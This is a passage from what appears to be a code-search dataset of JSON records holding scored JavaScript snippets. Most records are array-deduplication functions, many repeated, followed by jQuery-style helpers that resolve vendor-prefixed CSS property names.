removeDuplicates(arr) {\n var seen = {};\n return arr.filter(function(item) {\n return seen.hasOwnProperty(item) ? false : (seen[item] = true);\n });\n}", "title": "" }, { "docid": "d778e66dcd00c6ce380dee9c4feca2a2", "score": "0.5612596", "text": "function uniq(a) {\n var seen = {};\n return a.filter(function(item) {\n return seen.hasOwnProperty(item) ? false : (seen[item] = true);\n });\n}", "title": "" }, { "docid": "700b49b962e3d644bb3e81d9c29fef76", "score": "0.5606376", "text": "function uniq(a) {\r\n var seen = {};\r\n return a.filter(function(item) {\r\n return seen.hasOwnProperty(item) ? false : (seen[item] = true);\r\n });\r\n }", "title": "" }, { "docid": "6586dfe948efe4f612e96e37e1728ee8", "score": "0.55988014", "text": "function unique ( array ) {\n return array.filter(function(a){\n return !this[a] ? this[a] = true : false;\n }, {});\n }", "title": "" }, { "docid": "d904dba9bd75de226910349cb49e92f2", "score": "0.55877954", "text": "function removeDups(array) {\n var seen = {};\n return array.filter(function(item) {\n return seen.hasOwnProperty(item) ? false : (seen[item] = true);\n });\n}", "title": "" }, { "docid": "d71cfa5f8f78fdf5143d1ea0e00bf6ae", "score": "0.5570948", "text": "function getUniqueItems(arr, key) {\n var unique = arr.map(function (e) {\n return e[key];\n }) // store the keys of the unique objects\n .map(function (e, i, final) {\n return final.indexOf(e) === i && i;\n }) // eliminate the dead keys & store unique objects\n .filter(function (e) {\n return arr[e];\n }).map(function (e) {\n return arr[e];\n });\n return unique;\n}", "title": "" }, { "docid": "319953c2960d3eab6621f965c0bc6ae6", "score": "0.55497956", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "7ec53c0f3d0d409cec8a9c1ac288edc7", "score": "0.5516942", "text": "function uniqBy(arr, key) {\n // return only your given key\n const mapped = arr.map(item => {\n return item[key];\n });\n\n // remove all dupes and spread to an array\n const uniq = [...new Set(mapped)];\n\n return constructMultiSelectItemsArr(uniq, key);\n }", "title": "" }, { "docid": "ea13433bf45f8d88f3b45f932012ff60", "score": "0.5513386", "text": "function unique(array) {\r\n\t\t\treturn array.filter(function(a){\r\n\t\t\t\treturn !this[a] ? this[a] = true : false;\r\n\t\t\t}, {});\r\n\t\t}", "title": "" }, { "docid": "2671da916880d7610d5619032c16a5cb", "score": "0.5505819", "text": "function unique ( array ) {\n\t\treturn array.filter(function(a){\n\t\t\treturn !this[a] ? this[a] = true : false;\n\t\t}, {});\n\t}", "title": "" }, { "docid": "2671da916880d7610d5619032c16a5cb", "score": "0.5505819", "text": "function unique ( array ) {\n\t\treturn array.filter(function(a){\n\t\t\treturn !this[a] ? this[a] = true : false;\n\t\t}, {});\n\t}", "title": "" }, { "docid": "2671da916880d7610d5619032c16a5cb", "score": "0.5505819", "text": "function unique ( array ) {\n\t\treturn array.filter(function(a){\n\t\t\treturn !this[a] ? this[a] = true : false;\n\t\t}, {});\n\t}", "title": "" }, { "docid": "2671da916880d7610d5619032c16a5cb", "score": "0.5505819", "text": "function unique ( array ) {\n\t\treturn array.filter(function(a){\n\t\t\treturn !this[a] ? this[a] = true : false;\n\t\t}, {});\n\t}", "title": "" }, { "docid": "07fbb389e00e6a837e1f1bd2315865fc", "score": "0.5490836", "text": "function uniqueArray(array) {\n var hashmap = {};\n var unique = [];\n\n for(var i = 0; i < array.length; i++) {\n // If key returns undefined (unique), it is evaluated as false.\n if(!hashmap.hasOwnProperty(array[i])) {\n hashmap[array[i]] = 1;\n unique.push(array[i]);\n }\n }\n\n return unique;\n}", "title": "" }, { "docid": "6afbff4ba6834b038d4e6b6d39816418", "score": "0.5476546", "text": "function unique(array) {\r\n return array.filter(function(a) {\r\n return !this[a] ? (this[a] = true) : false;\r\n }, {});\r\n }", "title": "" }, { "docid": "f19e51dfe6bd953760e04f3777765138", "score": "0.54714674", "text": "function remove_duplicates(array0) {\n var obj = {};\n var array1 = [];\n if(array0.length !== undefined){\n for (var i = 0; i < array0.length; i++) {\n obj[array0[i]] = true;\n }\n for (var key in obj) {\n array1.push(key);\n }\n return array1 ;}\n else{}}", "title": "" }, { "docid": "2178b79f48ea2997c0240b8f4a36e1b9", "score": "0.5468759", "text": "function unique(array) {\n\t\treturn array.filter(function(a){\n\t\t\treturn !this[a] ? this[a] = true : false;\n\t\t}, {});\n\t}", "title": "" }, { "docid": "2178b79f48ea2997c0240b8f4a36e1b9", "score": "0.5468759", "text": "function unique(array) {\n\t\treturn array.filter(function(a){\n\t\t\treturn !this[a] ? this[a] = true : false;\n\t\t}, {});\n\t}", "title": "" }, { "docid": "2178b79f48ea2997c0240b8f4a36e1b9", "score": "0.5468759", "text": "function unique(array) {\n\t\treturn array.filter(function(a){\n\t\t\treturn !this[a] ? this[a] = true : false;\n\t\t}, {});\n\t}", "title": "" }, { "docid": "ae40b686eb5dc1e764ab09c4767aee03", "score": "0.54561585", "text": "function unique(array) {\n\t\treturn array.filter(function (a) {\n\t\t\treturn !this[a] ? this[a] = true : false;\n\t\t}, {});\n\t}", "title": "" }, { "docid": "53df3c46ad7c781a3adc159e02a519f2", "score": "0.54476213", "text": "function checkUnique(arr) {\n console.log(\"in checkUnique\");\n var hash = {}, result = [];\n for ( var i = 0, l = arr.length; i < l; ++i ) {\n if ( !hash.hasOwnProperty(arr[i]) ) { //it works with objects! in FF, at least\n hash[ arr[i] ] = true;\n result.push(arr[i]);\n }\n }\n return result;\n}", "title": "" }, { "docid": "f7f46ca319fc1a9901fd2805cb6bca9c", "score": "0.54366916", "text": "function removeDuplicates(arr) {\n\tlet temp = {};\n\tfor (let i = 0; i < arr.length; i++)\n\t\ttemp[arr[i]] = true;\n\n\tlet r = [];\n\tfor (let k in temp)\n\t\tr.push(k);\n\treturn r;\n}", "title": "" }, { "docid": "f7f46ca319fc1a9901fd2805cb6bca9c", "score": "0.54366916", "text": "function removeDuplicates(arr) {\n\tlet temp = {};\n\tfor (let i = 0; i < arr.length; i++)\n\t\ttemp[arr[i]] = true;\n\n\tlet r = [];\n\tfor (let k in temp)\n\t\tr.push(k);\n\treturn r;\n}", "title": "" }, { "docid": "b87d5750c2ca989315a6df5f5fe09e12", "score": "0.54293853", "text": "duplicates(arr) {\n // map kept for quick access\n let dups = {};\n // array will be returned at end\n let dupsArr = [];\n let uniques = {};\n\n /**\n * For each item - add to uniques map if not there already\n * if not already in duplicates map, push to duplicates array\n */\n arr.forEach(item => {\n if (!uniques[item]) {\n uniques[item] = true;\n } else if (!dups[item]) {\n dups[item] = true;\n dupsArr.push(item);\n }\n });\n\n return dupsArr;\n }", "title": "" }, { "docid": "caa67caf9623a8eb7be04de54ebf7faa", "score": "0.5424837", "text": "function unique(arr) {\n\t\t\tvar tmp_cache = {};\n\t\t\tvar new_arr = [];\n\t\t\tvar len = arr.length;\n\t\t\tfor (var i=0; i<len; i++) {\n\t\t\t\tif (!tmp_cache[arr[i]] && !tmp_cache[combined_libs[arr[i]]]) {\n\t\t\t\t\tnew_arr.push(arr[i]);\n\t\t\t\t\ttmp_cache[arr[i]] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\ttmp_cache = null; // gc\n\t\t\treturn new_arr;\n\t\t}", "title": "" }, { "docid": "d68b56e3efd230466d7e43b987edf6ce", "score": "0.54241353", "text": "function unique(array) {\n return array.filter(function (a) {\n return !this[a] ? this[a] = true : false;\n }, {});\n }", "title": "" }, { "docid": "cc962b0b3cd7245e99ecdc2ad143d25d", "score": "0.542005", "text": "function dedup(arr) {\n var output = {};\n return arr.filter(function(item) {\n return output.hasOwnProperty(item) ? false : (output[item] = true);\n })\n}", "title": "" }, { "docid": "b70843e49fdd13000fe58eb30b25c878", "score": "0.54020524", "text": "function array_unique (inputArr) {\n /**\n * @version: 1107.2516\n * @discuss at: http:*phpjs.org/functions/array_unique * + original by: Carlos R. L. Rodrigues (http:*www.jsfromhell.com)\n * + @input by: duncan\n * + @bugfixed by: Kevin van Zonneveld (http:*kevin.vanzonneveld.net)\n * + @bugfixed by: Nate\n * + @input by: Brett Zamir (http:*brett-zamir.me) * + bugfixed by: Kevin van Zonneveld (http:*kevin.vanzonneveld.net)\n * + @improved by: Michael Grier\n * + @bugfixed by: Brett Zamir (http:*brett-zamir.me)\n * % note 1: The second argument, sort_flags is not implemented;\n * % note 1: also should be sorted (asort?) first according to docs * * example 1: array_unique(['Kevin','Kevin','van','Zonneveld','Kevin']);\n * * returns 1: {0: 'Kevin', 2: 'van', 3: 'Zonneveld'}\n * * example 2: array_unique({'a': 'green', 0: 'red', 'b': 'green', 1: 'blue', 2: 'red'});\n * * returns 2: {a: 'green', 0: 'red', 1: 'blue'}\n */\n var key = '', tmp_arr2 = {},\n val = '';\n\n var __array_search = function (needle, haystack) {\n\n var fkey = ''; for (fkey in haystack) {\n\n if (haystack.hasOwnProperty(fkey)) {\n\n if ((haystack[fkey] + '') === (needle + '')) {\n return fkey;\n }\n }\n }\n return false;\n }\n for (key in inputArr) {\n if (inputArr.hasOwnProperty(key)) {\n val = inputArr[key];\n if (false === __array_search(val, tmp_arr2)) {\n tmp_arr2[key] = val;\n }\n }\n }\n\n return tmp_arr2;\n}", "title": "" }, { "docid": "039c44e3d7dc8eca751830a37d065e0e", "score": "0.54006636", "text": "function unique(arr) {\n var u = {}, arr_unique = [];\n\n for(var i = 0, l = arr.length; i < l; ++i) {\n if(!u.hasOwnProperty(arr[i])) {\n arr_unique.push(arr[i]);\n u[arr[i]] = 1;\n }\n }\n return arr_unique;\n}", "title": "" }, { "docid": "f6f3202bf5108c5247045bf88711d285", "score": "0.5399184", "text": "static get UNIQUE_KEYS () {\n return []\n }", "title": "" }, { "docid": "9351b3ed4ed86613c25bbdb81be8bdee", "score": "0.5394869", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "9351b3ed4ed86613c25bbdb81be8bdee", "score": "0.5394869", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "9351b3ed4ed86613c25bbdb81be8bdee", "score": "0.5394869", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "9351b3ed4ed86613c25bbdb81be8bdee", "score": "0.5394869", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "9351b3ed4ed86613c25bbdb81be8bdee", "score": "0.5394869", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "9351b3ed4ed86613c25bbdb81be8bdee", "score": "0.5394869", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "9351b3ed4ed86613c25bbdb81be8bdee", "score": "0.5394869", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "9351b3ed4ed86613c25bbdb81be8bdee", "score": "0.5394869", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "9351b3ed4ed86613c25bbdb81be8bdee", "score": "0.5394869", "text": "function unique(array) {\n return array.filter(function(a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "04d5167915d20e2a87b493164007c0cf", "score": "0.53903544", "text": "function unique(array) {\n return array.filter(function (a) {\n return !this[a] ? (this[a] = true) : false;\n }, {});\n }", "title": "" }, { "docid": "c1ba548e4e9c28b8769c50c4b745568c", "score": "0.53863627", "text": "unique(key)\n {\n let counts = [];\n\n let items = this.items.reduce((items, item) => {\n if (! items.contains(item)) {\n items.push(item);\n if (key) counts.push({[key]: 1});\n } else if(key) {\n counts[items.search(item)][key]++;\n }\n\n return items;\n }, new this.constructor);\n\n if (key) items.transform((item, index) => Object.assign({}, item, counts[index]));\n\n return items;\n }", "title": "" }, { "docid": "a579bdfd7e5f86fbe2b09e5761104cb7", "score": "0.53782994", "text": "function removeDuplicate(arr) {\n let unique = {};\n let result = [];\n arr.forEach(el => {\n if(!unique[el]) {\n result.push(el);\n unique[el] = true;\n }\n });\n return result;\n}", "title": "" }, { "docid": "c667d9c54dd142364ecb65ea3cad6c5f", "score": "0.53582084", "text": "function randomNoRepeats(array) {\n var copy = array.slice(0);\n return function () {\n if (copy.length < 1) { copy = array.slice(0); }\n var index = Math.floor(Math.random() * copy.length),\n item = copy[index];\n copy.splice(index, 1);\n return item;\n };\n}", "title": "" }, { "docid": "67bc1c57eaae4630b1dead0b9ed23b66", "score": "0.53567713", "text": "function unique(array, eq) {\n var n = array.length;\n if (n === 0) {\n return [];\n }\n var result = [array[0]];\n for (var i = 1, j = 0; i < n; ++i) {\n var item = array[i];\n if (!eq(result[j], item)) {\n result.push(item);\n ++j;\n }\n }\n return result;\n }", "title": "" }, { "docid": "720be7f577d3c7eb93fa6b35d202193d", "score": "0.53467196", "text": "function uniq(array) {\n\t return array.filter(function filter(element) {\n\t return element in this ? false : this[element] = true;\n\t }, Object.create(null));\n\t} // zone.js will overwrite Object.defineProperty", "title": "" }, { "docid": "6bdb65ab2b23ba9eae283e9232a0cd61", "score": "0.5345202", "text": "function uniq(array) {\r\n return array.filter(function filter(element) {\r\n return element in this ? false : (this[element] = true);\r\n }, Object.create(null));\r\n}", "title": "" }, { "docid": "d2f75d0566919899f9187cc82da7adda", "score": "0.53428566", "text": "function unique(arr) {\n var u = {}, a = [];\n for(var i = 0, l = arr.length; i < l; ++i){\n if(!u.hasOwnProperty(arr[i])) {\n a.push(arr[i]);\n u[arr[i]] = 1;\n }\n }\n return a;\n}", "title": "" }, { "docid": "720a1dbc7f0766199013b4e517fd539c", "score": "0.5342234", "text": "function arrayEqualsIgnoreOrder(a, b, key) {\n return a.length === b.length && a.reduce((bElemsRemaining, aElem) => {\n if (bElemsRemaining === null) {\n return null;\n }\n\n const index = bElemsRemaining.findIndex(bElem => key(aElem, bElem));\n if (index === -1) {\n return null;\n }\n\n bElemsRemaining.splice(index, 1);\n return bElemsRemaining;\n }, [...b]) !== null;\n}", "title": "" }, { "docid": "1c1f32dc88e5c9996602493a6af85600", "score": "0.53214484", "text": "function unique(arr) {\n let hash = {}\n let result = []\n let tmpKey\n for (let i = 0; i < arr.length; i++) {\n // 1.这里把某个数arr[i]作为键值,利用key的唯一性,但是key是string类型,需要typeof类型区分\n // 2.将对象序列化之后作为key来使用。\n tmpKey = typeof arr[i] + JSON.stringify(arr[i])\n\n if (!hash[tmpKey]) {\n hash[tmpKey] = 1\n result.push(arr[i])\n }\n }\n return result\n}", "title": "" }, { "docid": "69f70ef610a59804613c26c896b1a178", "score": "0.5313752", "text": "unique(arr) {\n const u = {}, a = [];\n for (let i = 0, l = arr.length; i < l; ++i) {\n if (u.hasOwnProperty(arr[i])) {\n continue;\n }\n a.push(arr[i]);\n u[arr[i]] = 1;\n }\n return a;\n }", "title": "" }, { "docid": "c8e328be106789eca7e6e1ca693beada", "score": "0.5312475", "text": "function unique(arr) {\n /* your code */\n}", "title": "" }, { "docid": "bc33f352fc99f3c7b3e01b3f6e58197c", "score": "0.5306574", "text": "function utilArrayUniq(a) {\n\t return Array.from(new Set(a));\n\t}", "title": "" }, { "docid": "8d46a7dfe71ee4cc752e3baf56babc6a", "score": "0.52939504", "text": "function removeKeys(arr, key) {\n let nextElement = 0;\n for(let i=0;i<arr.length;i++) {\n if(arr[i] != key) {\n arr[nextElement] = arr[i];\n nextElement++;\n }\n }\n return nextElement;\n } //O(n) time | O(1) space where n is the length of elements in the array.", "title": "" }, { "docid": "fd27c7bc63f40267cafc5e1b46142413", "score": "0.52936214", "text": "function unique(array){\n // your code here...\n}", "title": "" }, { "docid": "7e76649a2b8dcbe86512a994367305d1", "score": "0.52867913", "text": "function checkUnique(arr) {\n var hash = {};\n var result = [];\n for (var i = 0, l = arr.length; i < l; ++i) {\n if (!hash.hasOwnProperty(arr[i])) {\n // it works with objects! in FF, at least\n hash[arr[i]] = true;\n result.push(arr[i]);\n }\n }\n return result;\n }", "title": "" }, { "docid": "85f45805518cd0d89847cbdb69401531", "score": "0.5279177", "text": "function uniq(items) {\n function unique(value, index, self) {\n return self.indexOf(value) === index;\n }\n return items.filter(unique);\n}", "title": "" }, { "docid": "ed949105384e1a9c808da0270e1dcb2b", "score": "0.52741355", "text": "function uniqueFast(a) {\n\tvar seen = {};\n\tvar out = [];\n\tvar len = a.length;\n\tvar j = 0;\n\tfor (var i = 0; i < len; i++) {\n\t\tvar item = a[i];\n\t\tif (seen[item.x + ':' + item.y] !== 1) {\n\t\t\tseen[item.x + ':' + item.y] = 1;\n\t\t\tout[j++] = item;\n\t\t}\n\t}\n\treturn out;\n}", "title": "" }, { "docid": "94d71416f5be7b1c6003bd587beb824a", "score": "0.52660346", "text": "function unique(array) {\n return array.reduce((accumulator, item) => {\n if(!accumulator.find((old_item) =>\n {return old_item === item;})\n ) {\n accumulator.push(item);\n }\n return accumulator;\n }, []);\n}", "title": "" }, { "docid": "b165e9d58bb6ddd2b31891b09f37c1d3", "score": "0.5261294", "text": "function toUnique(a,b,c){//array,placeholder,placeholder\n b=a.length;\n while(c=--b)while(c--)a[b]!==a[c]||a.splice(c,1);\n return a;\n}", "title": "" }, { "docid": "ced16cda24efb16c9cebbdd2144be016", "score": "0.5240632", "text": "uniq (array, f = this.identity) {\n if (this.isString(f)) f = this.propFcn(f)\n return array.filter((ai, i, a) => (i === 0) || (f(ai) !== f(a[i - 1])))\n }", "title": "" }, { "docid": "59a9ef77751949e119300444f6f2f980", "score": "0.52375644", "text": "function unique$static(array/*:Array*/)/*:Array*/ {\n var result/*:Array*/ = [];\n\n array.forEach(function (item/*:**/)/*:void*/ {\n if (result.indexOf(item) === -1) {\n result.push(item);\n }\n });\n\n return result;\n }", "title": "" }, { "docid": "73f9f498296fe3cab844408cac90f271", "score": "0.523065", "text": "function removeDuplicates(arr) {\n var exist = {};\n var output = [];\n var k = 0;\n for(var i = 0; i < arr.length; i++) {\n var item = arr[i];\n if(exist[item] !== 1) {exist[item] = 1; output[k++] = item;}\n }\n return output;\n }", "title": "" }, { "docid": "8b6077c2b61549102f533367c13a183f", "score": "0.52209675", "text": "function findDupe(myArray) {\n var emptyObject = {};\n var dupesList = [];\n var uniqueKeys = [];\n var item;\n\n for (i=0; i < myArray.length; i++) {\n item = myArray[i];\n\n if (emptyObject.hasOwnProperty(item)) {\n emptyObject[item]++;\n } else {\n emptyObject[item] = 1;\n }\n }\n\n uniqueKeys = Object.getOwnPropertyNames(emptyObject);\n\n for (i=0; i < uniqueKeys.length; i++) {\n var key = uniqueKeys[i];\n var count = emptyObject[key];\n\n if (count > 1){\n\n dupesList.push(uniqueKeys[i]);\n }\n }\n\n return dupesList;\n}", "title": "" }, { "docid": "a37f2cca74654cfc7ff1a7f2baff3e16", "score": "0.5205865", "text": "unique() {\n return this.uniqueBy((one, two) => {\n return one.equals(two)\n })\n }", "title": "" }, { "docid": "a95c0f8a81b83e8d63d5f253baf4f5e2", "score": "0.5195501", "text": "function makeDistinct(items, selector) {\r\n var set = {};\r\n var output = [];\r\n try {\r\n for (var items_1 = __values(items), items_1_1 = items_1.next(); !items_1_1.done; items_1_1 = items_1.next()) {\r\n var item = items_1_1.value;\r\n var key = selector && selector(item) || item;\r\n if (!set[key]) {\r\n // Haven't yet seen this key.\r\n set[key] = true;\r\n output.push(item);\r\n }\r\n }\r\n }\r\n catch (e_1_1) { e_1 = { error: e_1_1 }; }\r\n finally {\r\n try {\r\n if (items_1_1 && !items_1_1.done && (_a = items_1.return)) _a.call(items_1);\r\n }\r\n finally { if (e_1) throw e_1.error; }\r\n }\r\n return output;\r\n var e_1, _a;\r\n}", "title": "" }, { "docid": "a95c0f8a81b83e8d63d5f253baf4f5e2", "score": "0.5195501", "text": "function makeDistinct(items, selector) {\r\n var set = {};\r\n var output = [];\r\n try {\r\n for (var items_1 = __values(items), items_1_1 = items_1.next(); !items_1_1.done; items_1_1 = items_1.next()) {\r\n var item = items_1_1.value;\r\n var key = selector && selector(item) || item;\r\n if (!set[key]) {\r\n // Haven't yet seen this key.\r\n set[key] = true;\r\n output.push(item);\r\n }\r\n }\r\n }\r\n catch (e_1_1) { e_1 = { error: e_1_1 }; }\r\n finally {\r\n try {\r\n if (items_1_1 && !items_1_1.done && (_a = items_1.return)) _a.call(items_1);\r\n }\r\n finally { if (e_1) throw e_1.error; }\r\n }\r\n return output;\r\n var e_1, _a;\r\n}", "title": "" }, { "docid": "0b204ff6fae9989271874799b6fadd83", "score": "0.5190094", "text": "function removeDuplicate(arr){\n const unique = new Set(arr);\n return unique;\n}", "title": "" }, { "docid": "959b3d4da700861d5afa50d5cad2c324", "score": "0.5172342", "text": "function unique(x){\n var u = {}, a = [];\n for(var i = 0, l = x.length; i < l; ++i){\n if(u.hasOwnProperty(x[i])) {\n continue;\n }\n a.push(x[i]);\n u[x[i]] = 1;\n }\n return a;\n}", "title": "" }, { "docid": "7111e307c16d7d98039e59679b69a5e8", "score": "0.51707226", "text": "function getUnique(arr, comp) {\n\n const unique = arr\n .map(e => e[comp])\n // store the keys of the unique objects\n .map((e, i, final) => final.indexOf(e) === i && i)\n // eliminate the dead keys & store unique objects\n .filter(e => arr[e]).map(e => arr[e]);\n return unique;\n }", "title": "" }, { "docid": "c7488eb041e9523cdd48ad3063799b46", "score": "0.51693565", "text": "function unique\n/*:: <T>*/\n(arr\n/*: Array<T>*/\n)\n/*: Array<T>*/\n{\n var uniques = [];\n (0, _forEach.default)(arr).call(arr, function (value) {\n if (value instanceof _ParseObject.default) {\n if (!(0, _arrayContainsObject.default)(uniques, value)) {\n uniques.push(value);\n }\n } else {\n if ((0, _indexOf.default)(uniques).call(uniques, value) < 0) {\n uniques.push(value);\n }\n }\n });\n return uniques;\n}", "title": "" }, { "docid": "c0acf736626ac5dbea5e40118a03d301", "score": "0.51608455", "text": "function unique(arr) {\n return arr.filter(exports.uniqueFilter);\n}", "title": "" } ]
6cb64b8c58875bbf28657e93ceb60d83
return a css property mapped to a potentially vendor prefixed property
[ { "docid": "6ff1a840db242bd11cf382af009a11c3", "score": "0.0", "text": "function vendorPropName( style, name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in style ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt(0).toUpperCase() + name.slice(1),\n\t\torigName = name,\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in style ) {\n\t\t\treturn name;\n\t\t}\n\t}\n\n\treturn origName;\n}", "title": "" } ]
[ { "docid": "46bb006245aa08935352186631c860ae", "score": "0.8129867", "text": "function vendorPropName(name){// Check for vendor prefixed names\nvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}// Return a potentially-mapped jQuery.cssProps or vendor prefixed property", "title": "" }, { "docid": "46bb006245aa08935352186631c860ae", "score": "0.8129867", "text": "function vendorPropName(name){// Check for vendor prefixed names\nvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}// Return a potentially-mapped jQuery.cssProps or vendor prefixed property", "title": "" }, { "docid": "8eb144a649adfeb2286a4eb40ab576f3", "score": "0.81199294", "text": "function vendorPropName(name){// Shortcut for names that are not vendor prefixed\nif(name in emptyStyle){return name;}// Check for vendor prefixed names\nvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}// Return a property mapped along what jQuery.cssProps suggests or to", "title": "" }, { "docid": "8eb144a649adfeb2286a4eb40ab576f3", "score": "0.81199294", "text": "function vendorPropName(name){// Shortcut for names that are not vendor prefixed\nif(name in emptyStyle){return name;}// Check for vendor prefixed names\nvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}// Return a property mapped along what jQuery.cssProps suggests or to", "title": "" }, { "docid": "8eb144a649adfeb2286a4eb40ab576f3", "score": "0.81199294", "text": "function vendorPropName(name){// Shortcut for names that are not vendor prefixed\nif(name in emptyStyle){return name;}// Check for vendor prefixed names\nvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}// Return a property mapped along what jQuery.cssProps suggests or to", "title": "" }, { "docid": "8eb144a649adfeb2286a4eb40ab576f3", "score": "0.81199294", "text": "function vendorPropName(name){// Shortcut for names that are not vendor prefixed\nif(name in emptyStyle){return name;}// Check for vendor prefixed names\nvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}// Return a property mapped along what jQuery.cssProps suggests or to", "title": "" }, { "docid": "8eb144a649adfeb2286a4eb40ab576f3", "score": "0.81199294", "text": "function vendorPropName(name){// Shortcut for names that are not vendor prefixed\nif(name in emptyStyle){return name;}// Check for vendor prefixed names\nvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}// Return a property mapped along what jQuery.cssProps suggests or to", "title": "" }, { "docid": "0e5e007bab193dec7f8b67a70d22f765", "score": "0.7825032", "text": "function vendorPropName(name) {\n // Check for vendor prefixed names\n var capName = name[0].toUpperCase() + name.slice(1),\n i = cssPrefixes.length;\n\n while (i--) {\n name = cssPrefixes[i] + capName;\n\n if (name in emptyStyle) {\n return name;\n }\n }\n } // Return a potentially-mapped jQuery.cssProps or vendor prefixed property", "title": "" }, { "docid": "0e5e007bab193dec7f8b67a70d22f765", "score": "0.7825032", "text": "function vendorPropName(name) {\n // Check for vendor prefixed names\n var capName = name[0].toUpperCase() + name.slice(1),\n i = cssPrefixes.length;\n\n while (i--) {\n name = cssPrefixes[i] + capName;\n\n if (name in emptyStyle) {\n return name;\n }\n }\n } // Return a potentially-mapped jQuery.cssProps or vendor prefixed property", "title": "" }, { "docid": "0e5e007bab193dec7f8b67a70d22f765", "score": "0.7825032", "text": "function vendorPropName(name) {\n // Check for vendor prefixed names\n var capName = name[0].toUpperCase() + name.slice(1),\n i = cssPrefixes.length;\n\n while (i--) {\n name = cssPrefixes[i] + capName;\n\n if (name in emptyStyle) {\n return name;\n }\n }\n } // Return a potentially-mapped jQuery.cssProps or vendor prefixed property", "title": "" }, { "docid": "f3d4562c1d34858d64c86b738e60949b", "score": "0.78175336", "text": "function vendorPropName(name) {\n // Check for vendor prefixed names\n var capName = name[0].toUpperCase() + name.slice(1),\n i = cssPrefixes.length;\n\n while (i--) {\n name = cssPrefixes[i] + capName;\n\n if (name in emptyStyle) {\n return name;\n }\n }\n } // Return a potentially-mapped jQuery.cssProps or vendor prefixed property", "title": "" }, { "docid": "f3d4562c1d34858d64c86b738e60949b", "score": "0.78175336", "text": "function vendorPropName(name) {\n // Check for vendor prefixed names\n var capName = name[0].toUpperCase() + name.slice(1),\n i = cssPrefixes.length;\n\n while (i--) {\n name = cssPrefixes[i] + capName;\n\n if (name in emptyStyle) {\n return name;\n }\n }\n } // Return a potentially-mapped jQuery.cssProps or vendor prefixed property", "title": "" }, { "docid": "f3d4562c1d34858d64c86b738e60949b", "score": "0.78175336", "text": "function vendorPropName(name) {\n // Check for vendor prefixed names\n var capName = name[0].toUpperCase() + name.slice(1),\n i = cssPrefixes.length;\n\n while (i--) {\n name = cssPrefixes[i] + capName;\n\n if (name in emptyStyle) {\n return name;\n }\n }\n } // Return a potentially-mapped jQuery.cssProps or vendor prefixed property", "title": "" }, { "docid": "f3d4562c1d34858d64c86b738e60949b", "score": "0.78175336", "text": "function vendorPropName(name) {\n // Check for vendor prefixed names\n var capName = name[0].toUpperCase() + name.slice(1),\n i = cssPrefixes.length;\n\n while (i--) {\n name = cssPrefixes[i] + capName;\n\n if (name in emptyStyle) {\n return name;\n }\n }\n } // Return a potentially-mapped jQuery.cssProps or vendor prefixed property", "title": "" }, { "docid": "a1f1f14706c2cdc2b26366e93fab0de2", "score": "0.7727936", "text": "function vendorPropName(name){// Shortcut for names that are not vendor prefixed\nif(name in emptyStyle){return name;}// Check for vendor prefixed names\nvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}", "title": "" }, { "docid": "e5e8593e6bb3115f44591424946713f2", "score": "0.76649904", "text": "function vendorPropName(name){ // Shortcut for names that are not vendor prefixed\n\tif(name in emptyStyle){return name;} // Check for vendor prefixed names\n\tvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}", "title": "" }, { "docid": "65ec86e750a3565295d274ee9c3a17b5", "score": "0.76290935", "text": "function vendorPropName(name){// Shortcut for names that are not vendor prefixed\n\tif(name in emptyStyle){return name;}// Check for vendor prefixed names\n\tvar capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in emptyStyle){return name;}}}", "title": "" }, { "docid": "1887b1ac3e3708600d2ef59644ada2d9", "score": "0.76261926", "text": "function vendorPropName(name){\n// Shortcut for names that are not vendor prefixed\nif(name in emptyStyle)return name;for(\n// Check for vendor prefixed names\nvar 